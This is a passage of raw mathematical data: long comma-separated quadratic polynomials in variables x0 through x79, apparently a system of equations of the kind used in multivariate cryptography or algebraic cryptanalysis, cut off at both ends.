x51*x73 + x51*x74 + x51*x76 + x51*x79 + x52*x53 + x52*x54 + x52*x55 + x52*x58 + x52*x59 + x52*x60 + x52*x62 + x52*x66 + x52*x69 + x52*x70 + x52*x76 + x52*x77 + x52*x78 + x52*x79 + x52 + x53*x56 + x53*x59 + x53*x60 + x53*x62 + x53*x73 + x53*x75 + x53*x76 + x53*x78 + x53*x79 + x54*x56 + x54*x57 + x54*x61 + x54*x62 + x54*x66 + x54*x67 + x54*x70 + x54*x72 + x54*x73 + x54*x77 + x55*x57 + x55*x59 + x55*x60 + x55*x61 + x55*x65 + x55*x67 + x55*x68 + x55*x69 + x55*x70 + x55*x73 + x55*x75 + x55*x76 + x55*x79 + x56*x57 + x56*x58 + x56*x59 + x56*x62 + x56*x66 + x56*x67 + x56*x69 + x56*x72 + x56*x73 + x56*x74 + x56*x75 + x56*x76 + x56*x77 + x56*x78 + x56*x79 + x57*x59 + x57*x61 + x57*x62 + x57*x66 + x57*x67 + x57*x70 + x57*x71 + x57*x72 + x57*x73 + x57*x74 + x57*x76 + x58*x60 + x58*x61 + x58*x67 + x58*x71 + x58*x72 + x58*x75 + x58*x77 + x58*x79 + x59*x61 + x59*x62 + x59*x63 + x59*x67 + x59*x69 + x59*x70 + x59*x78 + x59*x79 + x59 + x60*x63 + x60*x65 + x60*x66 + x60*x68 + x60*x70 + x60*x73 + x60*x74 + x60*x75 + x60*x77 + x60*x78 + x60*x79 + x60 + x61*x63 + x61*x67 + x61*x68 + x61*x70 + x61*x73 + x61*x74 + x61*x77 + x62*x66 + x62*x67 + x62*x70 + x62*x71 + x62*x72 + x62*x73 + x62*x74 + x62*x76 + x62*x77 + x62*x78 + x63*x64 + x63*x65 + x63*x70 + x63*x72 + x63*x73 + x63*x74 + x63*x76 + x63*x77 + x63*x78 + x63 + x64*x67 + x64*x70 + x64*x72 + x64*x75 + x64*x78 + x65*x66 + x65*x67 + x65*x71 + x65*x72 + x65*x73 + x65*x75 + x65*x77 + x65*x78 + x66*x67 + x66*x68 + x66*x71 + x66*x75 + x66*x77 + x66*x78 + x66*x79 + x67*x68 + x67*x69 + x67*x70 + x67*x72 + x67*x73 + x67*x75 + x67 + x68*x71 + x68*x72 + x68*x73 + x68*x79 + x68 + x69*x72 + x69*x74 + x69*x77 + x69*x78 + x69 + x70*x74 + x70*x75 + x70*x77 + x70*x78 + x70*x79 + x71*x73 + x71*x74 + x71*x76 + x71*x78 + x72*x73 + x72*x74 + x72*x75 + x72*x76 + x72*x77 + x73*x74 + x73*x75 + x73*x78 + x73*x79 + x74*x75 + x74*x77 + x74*x79 + x75*x77 + x75*x78 + x75*x79 + x76*x77 + x76*x78 + x76*x79 + x76 + x78*x79 + x79 + 1, x0*x1 + x0*x4 + x0*x5 + x0*x7 + x0*x11 + x0*x14 + x0*x15 + x0*x16 + x0*x18 + x0*x19 + x0*x27 + x0*x28 + x0*x30 + x0*x33 + x0*x38 + x0*x41 + x0*x42 + x0*x44 + x0*x45 + x0*x46 + x0*x47 + x0*x48 + x0*x50 + x0*x51 + x0*x53 + x0*x54 + x0*x55 + x0*x57 + x0*x58 + x0*x60 + x0*x64 + x0*x65 + x0*x66 + x0*x69 + x0*x70 + x0*x71 + x0*x74 + x0*x75 + x0*x77 + x0*x79 + x0 + x1*x3 + x1*x4 + x1*x10 + x1*x12 + x1*x14 + x1*x16 + x1*x17 + x1*x20 + x1*x21 + x1*x22 + x1*x24 + x1*x25 + x1*x26 + x1*x28 + x1*x29 + x1*x31 + x1*x33 + x1*x36 + x1*x37 + x1*x43 + x1*x46 + x1*x49 + x1*x50 + x1*x51 + x1*x53 + x1*x56 + x1*x57 + x1*x59 + x1*x60 + x1*x63 + x1*x66 + x1*x67 + x1*x68 + x1*x69 + x1*x70 + x1*x72 + x1*x74 + x1*x76 + x1*x77 + x1*x78 + x1*x79 + x2*x4 + x2*x5 + x2*x7 + x2*x9 + x2*x10 + x2*x11 + x2*x12 + x2*x13 + x2*x17 + x2*x19 + x2*x22 + x2*x23 + x2*x24 + x2*x28 + x2*x29 + x2*x30 + x2*x31 + x2*x34 + x2*x38 + x2*x39 + x2*x40 + x2*x42 + x2*x43 + x2*x44 + x2*x45 + x2*x46 + x2*x47 + x2*x48 + x2*x50 + x2*x52 + x2*x61 + x2*x62 + x2*x64 + x2*x65 + x2*x66 + x2*x67 + x2*x68 + x2*x69 + x2*x70 + x2*x71 + x2*x73 + x2*x76 + x2*x77 + x2*x79 + x2 + x3*x5 + x3*x6 + x3*x8 + x3*x9 + x3*x10 + x3*x14 + x3*x15 + x3*x16 + x3*x17 + x3*x19 + x3*x21 + x3*x23 + x3*x31 + x3*x35 + x3*x36 + x3*x43 + x3*x45 + x3*x48 + x3*x49 + x3*x52 + x3*x53 + x3*x55 + x3*x56 + x3*x63 + x3*x67 + x3*x70 + x3*x74 + x3*x75 + x3*x76 + x3 + x4*x7 + x4*x9 + x4*x10 + x4*x12 + x4*x15 + x4*x16 + x4*x17 + x4*x19 + x4*x21 + x4*x27 + x4*x30 + x4*x32 + x4*x34 + x4*x35 + x4*x36 + x4*x39 + x4*x40 + x4*x42 + x4*x43 + x4*x46 + x4*x47 + x4*x48 + x4*x49 + x4*x51 + x4*x52 + x4*x53 + x4*x55 + x4*x57 + x4*x61 + x4*x62 + x4*x63 + x4*x72 + x4*x73 + x4*x74 + x4*x76 + x4*x78 + x4*x79 + x5*x8 + x5*x9 + x5*x11 + x5*x14 + x5*x17 + x5*x18 + x5*x19 + x5*x20 + x5*x21 + x5*x22 + x5*x23 + x5*x24 + x5*x27 + x5*x29 + x5*x31 + x5*x34 + x5*x36 + x5*x38 + x5*x41 + x5*x42 + x5*x44 + x5*x45 + x5*x46 + x5*x47 + x5*x48 + x5*x50 + x5*x51 + x5*x55 + x5*x56 + x5*x59 + x5*x63 + x5*x64 + x5*x65 + x5*x66 + x5*x70 + x5*x73 + x5*x74 + x5*x75 + x5*x76 + x5*x77 + x5*x78 + x5*x79 + x5 + x6*x7 + x6*x8 + x6*x13 + x6*x14 + x6*x15 + x6*x16 + x6*x17 + x6*x18 + x6*x20 + x6*x21 + x6*x22 + x6*x24 + x6*x25 + x6*x28 + x6*x29 + x6*x30 + x6*x32 + x6*x34 + x6*x36 + x6*x37 + x6*x39 + x6*x41 + x6*x44 + x6*x45 + x6*x46 + x6*x50 + x6*x51 + x6*x53 + x6*x54 + x6*x55 + x6*x56 + x6*x57 + x6*x60 + x6*x61 + x6*x62 + x6*x64 + x6*x68 + x6*x70 + x6*x73 + x6*x74 + x6*x75 + x6*x76 + x6*x79 + x7*x8 + x7*x10 + x7*x11 + x7*x14 + x7*x19 + x7*x20 + x7*x21 + x7*x24 + x7*x28 + x7*x30 + x7*x33 + x7*x34 + x7*x36 + x7*x37 + x7*x38 + x7*x39 + x7*x41 + x7*x42 + x7*x46 + x7*x47 + x7*x51 + x7*x53 + x7*x55 + x7*x56 + x7*x58 + x7*x61 + x7*x62 + x7*x63 + x7*x71 + x7*x73 + x7*x74 + x7*x75 + x7*x76 + x7*x77 + x7*x78 + x7*x79 + x8*x9 + x8*x10 + x8*x11 + x8*x15 + x8*x17 + x8*x19 + x8*x21 + x8*x23 + x8*x24 + x8*x25 + x8*x28 + x8*x29 + x8*x33 + x8*x36 + x8*x37 + x8*x41 + x8*x42 + x8*x43 + x8*x45 + x8*x47 + x8*x48 + x8*x49 + x8*x51 + x8*x53 + x8*x54 + x8*x58 + x8*x59 + x8*x61 + x8*x62 + x8*x63 + x8*x65 + x8*x67 + x8*x70 + x8*x71 + x8*x78 + x8 + x9*x11 + x9*x15 + x9*x16 + x9*x19 + x9*x22 + x9*x25 + x9*x29 + x9*x30 + x9*x31 + x9*x34 + x9*x35 + x9*x36 + x9*x37 + x9*x38 + x9*x39 + x9*x40 + x9*x41 + x9*x42 + x9*x43 + x9*x45 + x9*x46 + x9*x51 + x9*x52 + x9*x55 + x9*x60 + x9*x62 + x9*x63 + x9*x65 + x9*x66 + x9*x72 + x9*x73 + x9*x77 + x9 + x10*x15 + x10*x16 + x10*x17 + x10*x18 + x10*x20 + x10*x22 + x10*x23 + x10*x26 + x10*x30 + x10*x31 + x10*x32 + x10*x33 + x10*x34 + x10*x41 + x10*x42 + x10*x43 + x10*x45 + x10*x46 + x10*x48 + x10*x49 + x10*x50 + x10*x53 + x10*x54 + x10*x55 + x10*x56 + x10*x57 + x10*x58 + x10*x60 + x10*x62 + x10*x63 + x10*x67 + x10*x68 + x10*x71 + x10*x72 + x10*x73 + x10*x74 + x10*x76 + x10*x78 + x10*x79 + x10 + x11*x12 + x11*x13 + x11*x14 + x11*x17 + x11*x19 + x11*x20 + x11*x21 + x11*x22 + x11*x23 + x11*x24 + x11*x26 + x11*x27 + x11*x28 + x11*x29 + x11*x30 + x11*x31 + x11*x33 + x11*x36 + x11*x38 + x11*x43 + x11*x45 + x11*x46 + x11*x47 + x11*x48 + x11*x49 + x11*x51 + x11*x53 + x11*x54 + x11*x56 + x11*x57 + x11*x58 + x11*x59 + x11*x60 + x11*x61 + x11*x66 + x11*x68 + x11*x70 + x11*x71 + x11*x73 + x11*x74 + x11*x75 + x11*x79 + x11 + x12*x14 + x12*x16 + x12*x18 + x12*x20 + x12*x22 + x12*x23 + x12*x25 + x12*x26 + x12*x28 + x12*x29 + x12*x30 + x12*x33 + x12*x34 + x12*x35 + x12*x37 + x12*x38 + x12*x39 + x12*x40 + x12*x42 + x12*x43 + x12*x46 + x12*x47 + x12*x49 + x12*x50 + x12*x51 + x12*x54 + x12*x55 + x12*x57 + x12*x58 + x12*x60 + x12*x62 + x12*x63 + x12*x64 + x12*x67 + x12*x70 + x12*x74 + x12*x75 + x12*x77 + x12*x79 + x12 + x13*x17 + x13*x19 + x13*x20 + x13*x23 + x13*x26 + x13*x27 + x13*x31 + x13*x33 + x13*x34 + x13*x35 + x13*x38 + x13*x42 + x13*x45 + x13*x47 + x13*x49 + x13*x50 + x13*x52 + x13*x55 + x13*x59 + x13*x62 + x13*x63 + x13*x67 + x13*x72 + x13*x73 + x13*x74 + x13*x75 + x13*x78 + x13*x79 + x13 + x14*x16 + x14*x17 + x14*x18 + x14*x19 + x14*x21 + x14*x22 + x14*x23 + x14*x29 + x14*x32 + x14*x33 + x14*x39 + x14*x40 + x14*x42 + x14*x44 + x14*x45 + x14*x46 + x14*x50 + x14*x51 + x14*x52 + x14*x54 + x14*x57 + x14*x58 + x14*x59 + x14*x61 + x14*x63 + x14*x66 + x14*x67 + x14*x70 + x14*x78 + x15*x16 + x15*x18 + x15*x21 + x15*x22 + x15*x25 + x15*x26 + x15*x33 + x15*x34 + x15*x35 + x15*x36 + x15*x37 + x15*x39 + x15*x40 + x15*x42 + x15*x43 + x15*x44 + x15*x46 + x15*x51 + x15*x52 + x15*x58 + x15*x62 + x15*x64 + x15*x65 + x15*x66 + x15*x67 + x15*x72 + x15*x75 + x15*x77 + x15*x78 + x15*x79 + x15 + x16*x19 + x16*x20 + x16*x22 + x16*x26 + x16*x28 + x16*x29 + x16*x30 + x16*x31 + x16*x34 + x16*x35 + x16*x40 + x16*x42 + x16*x44 + x16*x48 + x16*x49 + x16*x51 + x16*x53 + x16*x55 + x16*x56 + x16*x59 + x16*x60 + x16*x62 + x16*x67 + x16*x68 + x16*x70 + x16*x71 + x16*x74 + x16*x79 + x17*x18 + x17*x19 + x17*x21 + x17*x26 + x17*x27 + x17*x28 + x17*x29 + x17*x30 + x17*x31 + x17*x34 + x17*x35 + x17*x36 + x17*x44 + x17*x50 + x17*x53 + x17*x55 + x17*x58 + x17*x62 + x17*x63 + x17*x64 + x17*x66 + x17*x71 + x17*x72 + x17*x74 + x17*x76 + x17*x79 + x17 + x18*x21 + x18*x23 + x18*x26 + x18*x27 + x18*x28 + x18*x34 + x18*x36 + x18*x38 + x18*x39 + x18*x40 + x18*x42 + x18*x43 + x18*x44 + x18*x46 + x18*x47 + x18*x48 + x18*x52 + x18*x53 + x18*x55 + x18*x65 + x18*x67 + x18*x68 + x18*x69 + x18*x70 + x18*x71 + x18*x72 + x18*x74 + x18*x76 + x18*x78 + x18*x79 + x19*x20 + x19*x21 + x19*x23 + x19*x24 + x19*x27 + x19*x29 + x19*x30 + x19*x32 + x19*x33 + x19*x35 + x19*x38 + x19*x39 + x19*x41 + x19*x42 + x19*x45 + x19*x47 + x19*x51 + x19*x53 + x19*x55 + x19*x57 + x19*x61 + x19*x63 + x19*x66 + x19*x68 + x19*x69 + x19*x72 + x19*x75 + x19*x76 + x19*x79 + x19 + x20*x24 + x20*x29 + x20*x32 + x20*x33 + x20*x34 + x20*x38 + x20*x40 + x20*x44 + x20*x45 + x20*x48 + x20*x51 + x20*x53 + x20*x57 + x20*x61 + x20*x64 + x20*x65 + x20*x66 + x20*x68 + x20*x70 + x20*x74 + x20*x75 + x20*x76 + x20*x79 + x20 + x21*x22 + x21*x25 + x21*x26 + x21*x27 + x21*x28 + x21*x30 + x21*x31 + x21*x32 + x21*x37 + x21*x38 + x21*x39 + x21*x40 + x21*x47 + x21*x48 + x21*x50 + x21*x53 + x21*x54 + x21*x55 + x21*x62 + x21*x66 + x21*x68 + x21*x69 + x21*x70 + x21*x71 + x21*x73 + x21*x75 + x21*x76 + x21*x79 + x21 + x22*x23 + x22*x25 + x22*x26 + x22*x27 + x22*x30 + x22*x34 + x22*x36 + x22*x38 + x22*x41 + x22*x44 + x22*x47 + x22*x51 + x22*x54 + x22*x57 + x22*x59 + x22*x60 + x22*x65 + x22*x66 + x22*x71 + x22*x73 + x22*x77 + x22*x78 + x22*x79 + x23*x25 + x23*x26 + x23*x28 + x23*x29 + x23*x31 + x23*x32 + x23*x33 + x23*x34 + x23*x36 + x23*x38 + x23*x40 + x23*x41 + x23*x43 + x23*x44 + x23*x50 + x23*x58 + x23*x62 + x23*x63 + x23*x66 + x23*x67 + x23*x69 + x23*x72 + x23*x79 + x24*x30 + x24*x32 + x24*x35 + x24*x37 + x24*x38 + x24*x39 + x24*x40 + x24*x41 + x24*x42 + x24*x43 + x24*x45 + x24*x48 + x24*x49 + x24*x50 + x24*x52 + x24*x53 + x24*x56 + x24*x58 + x24*x59 + x24*x60 + x24*x61 + x24*x62 + x24*x63 + x24*x71 + x24*x73 + x24*x74 + x24*x78 + x24*x79 + x24 + x25*x27 + x25*x28 + x25*x32 + x25*x34 + x25*x35 + x25*x39 + x25*x40 + x25*x45 + x25*x46 + x25*x47 + x25*x49 + x25*x50 + x25*x55 + x25*x57 + x25*x58 + x25*x62 + x25*x64 + x25*x67 + x25*x69 + x25*x72 + x25*x74 + x25*x75 + x25*x76 + x25*x77 + x25*x78 + x25*x79 + x26*x27 + x26*x28 + x26*x29 + x26*x30 + x26*x33 + x26*x35 + x26*x37 + x26*x39 + x26*x40 + x26*x43 + x26*x44 + x26*x51 + x26*x54 + x26*x55 + x26*x57 + x26*x58 + x26*x59 + x26*x60 + x26*x61 + x26*x63 + x26*x64 + x26*x66 + x26*x68 + x26*x69 + x26*x71 + x26*x74 + x26*x76 + x26*x77 + x26*x78 + x26 + x27*x29 + x27*x30 + x27*x31 + x27*x33 + x27*x35 + x27*x36 + x27*x37 + x27*x38 + x27*x39 + x27*x43 + x27*x46 + x27*x48 + x27*x49 + x27*x50 + x27*x51 + x27*x53 + x27*x54 + x27*x55 + x27*x57 + x27*x59 + x27*x61 + x27*x62 + x27*x67 + x27*x69 + x27*x72 + x27*x75 + x27*x78 + x27*x79 + x28*x29 + x28*x32 + x28*x33 + x28*x34 + x28*x35 + x28*x41 + x28*x42 + x28*x44 + x28*x46 + x28*x48 + x28*x51 + x28*x52 + x28*x55 + x28*x56 + x28*x59 + x28*x61 + x28*x62 + x28*x63 + x28*x64 + x28*x66 + x28*x67 + x28*x69 + x28*x71 + x28*x75 + x28*x77 + x28*x78 + x28 + x29*x30 + x29*x31 + x29*x33 + x29*x34 + x29*x35 + x29*x36 + x29*x37 + x29*x38 + x29*x39 + x29*x40 + x29*x42 + x29*x43 + x29*x44 + x29*x46 + x29*x47 + x29*x48 + x29*x50 + x29*x51 + x29*x52 + x29*x53 + x29*x57 + x29*x59 + x29*x65 + x29*x67 + x29*x68 + x29*x69 + x29*x70 + x29*x71 + x29*x72 + x29*x73 + x29*x75 + x29*x77 + x29*x79 + x30*x31 + x30*x33 + x30*x34 + x30*x38 + x30*x39 + x30*x41 + x30*x43 + x30*x45 + x30*x47 + x30*x48 + x30*x53 + x30*x57 + x30*x59 + x30*x61 + x30*x62 + x30*x65 + x30*x67 + x30*x68 + x30*x69 + x30*x73 + x30*x74 + x30*x77 + x30 + x31*x34 + x31*x37 + x31*x39 + x31*x42 + x31*x45 + x31*x48 + x31*x49 + x31*x50 + x31*x53 + x31*x54 + x31*x55 + x31*x59 + x31*x60 + x31*x64 + x31*x66 + x31*x67 + x31*x68 + x31*x70 + x31*x73 + x31*x74 + x31*x75 + x31*x79 + x32*x33 + x32*x34 + x32*x42 + x32*x44 + x32*x45 + x32*x46 + x32*x47 + x32*x49 + x32*x53 + x32*x54 + x32*x57 + x32*x58 + x32*x59 + x32*x61 + x32*x62 + x32*x65 + x32*x66 + x32*x67 + x32*x72 + x32*x74 + x32*x76 + x32*x77 + x32*x79 + x33*x35 + x33*x36 + x33*x37 + x33*x39 + x33*x41 + x33*x42 + x33*x43 + x33*x44 + x33*x46 + x33*x49 + x33*x50 + x33*x51 + x33*x52 + x33*x53 + x33*x54 + x33*x55 + x33*x56 + x33*x58 + x33*x59 + x33*x61 + x33*x63 + x33*x67 + x33*x72 + x33*x75 + x33*x76 + x33*x77 + x34*x37 + x34*x39 + x34*x41 + x34*x42 + x34*x43 + x34*x44 + x34*x45 + x34*x46 + x34*x47 + x34*x48 + x34*x49 + x34*x50 + x34*x51 + x34*x52 + x34*x54 + x34*x55 + x34*x56 + x34*x58 + x34*x59 + x34*x62 + x34*x65 + x34*x66 + x34*x68 + x34*x70 + x34*x72 + x34*x75 + x34*x77 + x34*x79 + x35*x37 + x35*x40 + x35*x42 + x35*x44 + x35*x47 + x35*x49 + x35*x50 + x35*x51 + x35*x54 + x35*x55 + x35*x57 + x35*x60 + x35*x61 + x35*x63 + x35*x65 + x35*x74 + x35*x75 + x35*x78 + x35*x79 + x36*x40 + x36*x45 + x36*x46 + x36*x47 + x36*x49 + x36*x50 + x36*x55 + x36*x56 + x36*x57 + x36*x59 + x36*x60 + x36*x62 + x36*x64 + x36*x65 + x36*x66 + x36*x67 + x36*x68 + x36*x69 + x36*x70 + x36*x72 + x36*x74 + x36*x75 + x36*x79 + x37*x39 + x37*x40 + x37*x49 + x37*x51 + x37*x53 + x37*x57 + x37*x58 + x37*x60 + x37*x62 + x37*x65 + x37*x66 + x37*x67 + x37*x68 + x37*x69 + x37*x72 + x37*x74 + x37*x77 + x37*x78 + x37 + x38*x41 + x38*x42 + x38*x43 + x38*x47 + x38*x50 + x38*x53 + x38*x56 + x38*x59 + x38*x61 + x38*x62 + x38*x66 + x38*x67 + x38*x71 + x38*x72 + x38*x74 + x38*x76 + x38*x78 + x38*x79 + x38 + x39*x41 + x39*x44 + x39*x46 + x39*x49 + x39*x50 + x39*x51 + x39*x52 + x39*x53 + x39*x55 + x39*x56 + x39*x57 + x39*x62 + x39*x64 + x39*x65 + x39*x67 + x39*x71 + x39*x74 + x39*x75 + x39*x76 + x40*x41 + x40*x42 + x40*x43 + x40*x44 + x40*x46 + x40*x48 + x40*x51 + x40*x53 + x40*x56 + x40*x57 + x40*x58 + x40*x60 + x40*x67 + x40*x68 + x40*x69 + x40*x70 + x40*x74 + x40*x75 + x40*x76 + x40*x77 + x40*x79 + x41*x44 + x41*x51 + x41*x52 + x41*x53 + x41*x58 + x41*x60 + x41*x61 + x41*x62 + x41*x63 + x41*x72 + x41*x74 + x41*x75 + x41*x77 + x41*x78 + x41 + x42*x44 + x42*x45 + x42*x46 + x42*x52 + x42*x54 + x42*x55 + x42*x57 + x42*x58 + x42*x59 + x42*x60 + x42*x65 + x42*x66 + x42*x67 + x42*x68 + x42*x69 + x42*x71 + x42*x72 + x42*x73 + x42*x78 + x43*x44 + x43*x47 + x43*x50 + x43*x51 + x43*x53 + x43*x54 + x43*x56 + x43*x57 + x43*x58 + x43*x59 + x43*x61 + x43*x65 + x43*x67 + x43*x69 + x43*x71 + x43*x72 + x43*x73 + x43*x74 + x43*x76 + x43*x77 + x43*x78 + x43*x79 + x43 + x44*x47 + x44*x49 + x44*x54 + x44*x55 + x44*x56 + x44*x57 + x44*x58 + x44*x59 + x44*x60 + x44*x61 + x44*x65 + x44*x67 + x44*x68 + x44*x69 + x44*x70 + x44*x71 + x44*x72 + x44*x75 + x44 + x45*x46 + x45*x47 + x45*x48 + x45*x49 + x45*x50 + x45*x52 + x45*x53 + x45*x55 + x45*x60 + x45*x64 + x45*x68 + x45*x69 + x45*x70 + x45*x71 + x45*x72 + x45*x78 + x46*x49 + x46*x50 + x46*x51 + x46*x53 + x46*x57 + x46*x58 + x46*x59 + x46*x60 + x46*x65 + x46*x66 + x46*x67 + x46*x69 + x46*x72 + x46*x74 + x46*x75 + x46*x79 + x47*x48 + x47*x51 + x47*x53 + x47*x54 + x47*x55 + x47*x56 + x47*x57 + x47*x58 + x47*x64 + x47*x66 + x47*x68 + x47*x69 + x47*x73 + x47*x74 + x47*x75 + x47*x76 + x47*x78 + x47*x79 + x48*x50 + x48*x51 + x48*x54 + x48*x56 + x48*x57 + x48*x59 + x48*x63 + x48*x66 + x48*x68 + x48*x69 + x48*x70 + x48*x71 + x48*x72 + x48*x74 + x48*x75 + x48*x78 + x48 + x49*x51 + x49*x52 + x49*x54 + x49*x59 + x49*x67 + x49*x69 + x49*x70 + x49*x71 + x49*x73 + x49*x76 + x49*x77 + x49 + x50*x52 + x50*x53 + x50*x54 + x50*x57 + x50*x58 + x50*x60 + x50*x66 + x50*x68 + x50*x70 + x50*x72 + x50*x73 + x50*x75 + x50*x78 + x50*x79 + x51*x52 + x51*x53 + x51*x54 + x51*x57 + x51*x58 + x51*x61 + x51*x63 + x51*x66 + x51*x67 + x51*x70 + x51*x72 + x51*x75 + x51*x76 + x51*x77 + x51*x78 + x51*x79 + x51 + x52*x55 + x52*x57 + x52*x58 + x52*x59 + x52*x62 + x52*x63 + x52*x64 + x52*x66 + x52*x71 + x52*x72 + x52*x74 + x52*x77 + x52*x78 + x52 + x53*x54 + x53*x55 + x53*x56 + x53*x57 + x53*x61 + x53*x64 + x53*x65 + x53*x66 + x53*x69 + x53*x72 + x53*x75 + x53*x76 + x53*x78 + x53 + x54*x56 + x54*x57 + x54*x58 + x54*x59 + x54*x60 + x54*x61 + x54*x63 + x54*x64 + x54*x67 + x54*x68 + x54*x69 + x54*x70 + x54*x71 + x54*x74 + x54*x76 + x54*x77 + x54*x79 + x54 + x55*x56 + x55*x59 + x55*x61 + x55*x62 + x55*x65 + x55*x67 + x55*x69 + x55*x71 + x55*x72 + x55*x73 + x55*x74 + x55*x76 + x55*x79 + x55 + x56*x57 + x56*x58 + x56*x59 + x56*x60 + x56*x61 + x56*x62 + x56*x63 + x56*x65 + x56*x68 + x56*x71 + x56*x73 + x56*x78 + x57*x58 + x57*x60 + x57*x63 + x57*x64 + x57*x65 + x57*x66 + x57*x67 + x57*x68 + x57*x69 + x57*x71 + x57*x73 + x57*x78 + x57 + x58*x60 + x58*x61 + x58*x63 + x58*x65 + x58*x66 + x58*x67 + x58*x68 + x58*x70 + x58*x71 + x58*x75 + x58*x79 + x59*x62 + x59*x65 + x59*x66 + x59*x67 + x59*x68 + x59*x71 + x59*x72 + x59*x73 + x59*x74 + x59*x77 + x59*x78 + x60*x62 + x60*x63 + x60*x64 + x60*x66 + x60*x69 + x60*x70 + x60*x71 + x60*x74 + x60*x75 + x60*x76 + x60*x77 + x60*x78 + x60*x79 + x61*x63 + x61*x65 + x61*x66 + x61*x70 + x61*x71 + x61*x74 + x61*x75 + x61*x78 + x62*x67 + x62*x69 + x62*x72 + x62*x74 + x62*x75 + x62*x77 + x62*x79 + x62 + x63*x65 + x63*x66 + x63*x67 + x63*x68 + x63*x70 + x63*x71 + x63*x74 + x63*x75 + x63*x76 + x63*x77 + x63*x78 + x64*x65 + x64*x67 + x64*x68 + x64*x69 + x64*x71 + x64*x72 + x64*x75 + x64*x76 + x65*x75 + x65*x76 + x65*x79 + x65 + x66*x68 + x66*x69 + x66*x70 + x66*x75 + x66*x77 + x66*x78 + x66 + x67*x68 + x67*x70 + x67*x76 + x67*x77 + x67*x78 + x68*x71 + x68*x73 + x68*x75 + x68*x76 + x68*x79 + x69*x73 + x69*x76 + x69 + x70*x72 + x70*x74 + x70*x76 + x71*x72 + x71*x73 + x71*x77 + x71 + x72*x74 + x72*x75 + x72 + x73*x74 + x73*x76 + x74*x75 + x74*x76 + x74*x77 + x74 + x75*x76 + x75*x77 + x76*x79 + x76 + x77*x79 + x79, x0*x1 + x0*x3 + x0*x5 + x0*x7 + x0*x11 + x0*x12 + x0*x13 + x0*x14 + x0*x15 + x0*x17 + x0*x20 + x0*x22 + x0*x24 + x0*x27 + x0*x29 + x0*x34 + x0*x35 + x0*x37 + x0*x40 + x0*x41 + x0*x43 + x0*x44 + x0*x46 + x0*x47 + x0*x48 + x0*x50 + x0*x52 + x0*x53 + x0*x57 + x0*x65 + x0*x67 + x0*x68 + x0*x69 + x0*x71 + x0*x76 + x0 + x1*x2 + x1*x3 + x1*x5 + x1*x10 + x1*x11 + x1*x15 + x1*x16 + x1*x17 + x1*x18 + x1*x20 + x1*x22 + x1*x24 + x1*x26 + x1*x27 + x1*x28 + x1*x29 + x1*x33 + x1*x36 + x1*x37 + x1*x40 + x1*x41 + x1*x42 + x1*x43 + x1*x45 + x1*x46 + x1*x47 + x1*x48 + x1*x50 + x1*x52 + x1*x54 + x1*x55 + x1*x57 + x1*x58 + x1*x60 + x1*x63 + x1*x64 + x1*x67 + x1*x71 + x1*x73 + x1*x74 + x1*x76 + x1*x78 + x1 + x2*x4 + x2*x5 + x2*x7 + x2*x9 + x2*x10 + x2*x11 + x2*x12 + x2*x14 + x2*x15 + x2*x21 + x2*x22 + x2*x23 + x2*x24 + x2*x26 + x2*x27 + x2*x28 + x2*x31 + x2*x32 + x2*x34 + x2*x37 + x2*x38 + x2*x44 + x2*x46 + x2*x48 + x2*x49 + x2*x52 + x2*x53 + x2*x57 + x2*x58 + x2*x59 + x2*x62 + x2*x64 + x2*x67 + x2*x69 + x2*x70 + x2*x72 + x2*x73 + x2*x74 + x2*x77 + x2*x78 + x2*x79 + x3*x4 + x3*x9 + x3*x10 + x3*x13 + x3*x17 + x3*x18 + x3*x22 + x3*x23 + x3*x25 + x3*x26 + x3*x28 + x3*x29 + x3*x31 + x3*x32 + x3*x33 + x3*x36 + x3*x38 + x3*x41 + x3*x43 + x3*x45 + x3*x46 + x3*x47 + x3*x50 + x3*x51 + x3*x53 + x3*x56 + x3*x57 + x3*x61 + x3*x62 + x3*x64 + x3*x68 + x3*x70 + x3*x73 + x3*x74 + x3*x75 + x3*x76 + x3*x77 + x3 + x4*x6 + x4*x9 + x4*x10 + x4*x11 + x4*x15 + x4*x16 + x4*x17 + x4*x19 + x4*x23 + x4*x24 + x4*x25 + x4*x27 + x4*x30 + x4*x31 + x4*x32 + x4*x34 + x4*x35 + x4*x38 + x4*x43 + x4*x45 + x4*x49 + x4*x52 + x4*x53 + x4*x57 + x4*x60 + x4*x63 + x4*x64 + x4*x66 + x4*x68 + x4*x70 + x4*x71 + x4*x73 + x4*x74 + x4*x76 + x4*x78 + x4*x79 + x4 + x5*x7 + x5*x8 + x5*x9 + x5*x11 + x5*x13 + x5*x15 + x5*x17 + x5*x21 + x5*x22 + x5*x24 + x5*x27 + x5*x29 + x5*x30 + x5*x31 + x5*x32 + x5*x33 + x5*x34 + x5*x37 + x5*x39 + x5*x42 + x5*x43 + x5*x45 + x5*x52 + x5*x55 + x5*x58 + x5*x59 + x5*x63 + x5*x64 + x5*x70 + x5*x71 + x5*x72 + x5*x77 + x5*x78 + x5 + x6*x8 + x6*x11 + x6*x15 + x6*x16 + x6*x18 + x6*x19 + x6*x23 + x6*x24 + x6*x25 + x6*x29 + x6*x30 + x6*x31 + x6*x36 + x6*x37 + x6*x39 + x6*x42 + x6*x44 + x6*x48 + x6*x49 + x6*x50 + x6*x53 + x6*x59 + x6*x62 + x6*x64 + x6*x65 + x6*x67 + x6*x68 + x6*x69 + x6*x71 + x6*x73 + x6*x74 + x6*x75 + x6*x76 + x6*x77 + x6*x78 + x6 + x7*x8 + x7*x9 + x7*x11 + x7*x12 + x7*x15 + x7*x17 + x7*x19 + x7*x20 + x7*x21 + x7*x24 + x7*x25 + x7*x28 + x7*x29 + x7*x30 + x7*x31 + x7*x32 + x7*x34 + x7*x35 + x7*x36 + x7*x37 + x7*x38 + x7*x40 + x7*x42 + x7*x43 + x7*x47 + x7*x48 + x7*x51 + x7*x55 + x7*x56 + x7*x65 + x7*x66 + x7*x67 + x7*x68 + x7*x71 + x7*x73 + x7*x74 + x7*x75 + x7*x76 + x7 + x8*x10 + x8*x11 + x8*x14 + x8*x15 + x8*x16 + x8*x19 + x8*x21 + x8*x22 + x8*x23 + x8*x24 + x8*x26 + x8*x27 + x8*x28 + x8*x31 + x8*x32 + x8*x34 + x8*x35 + x8*x39 + x8*x40 + x8*x41 + x8*x46 + x8*x47 + x8*x49 + x8*x50 + x8*x51 + x8*x56 + x8*x58 + x8*x59 + x8*x61 + x8*x64 + x8*x66 + x8*x67 + x8*x68 + x8*x69 + x8*x74 + x8*x75 + x8*x79 + x9*x10 + x9*x12 + x9*x14 + x9*x15 + x9*x18 + x9*x19 + x9*x20 + x9*x22 + x9*x23 + x9*x24 + x9*x25 + x9*x27 + x9*x31 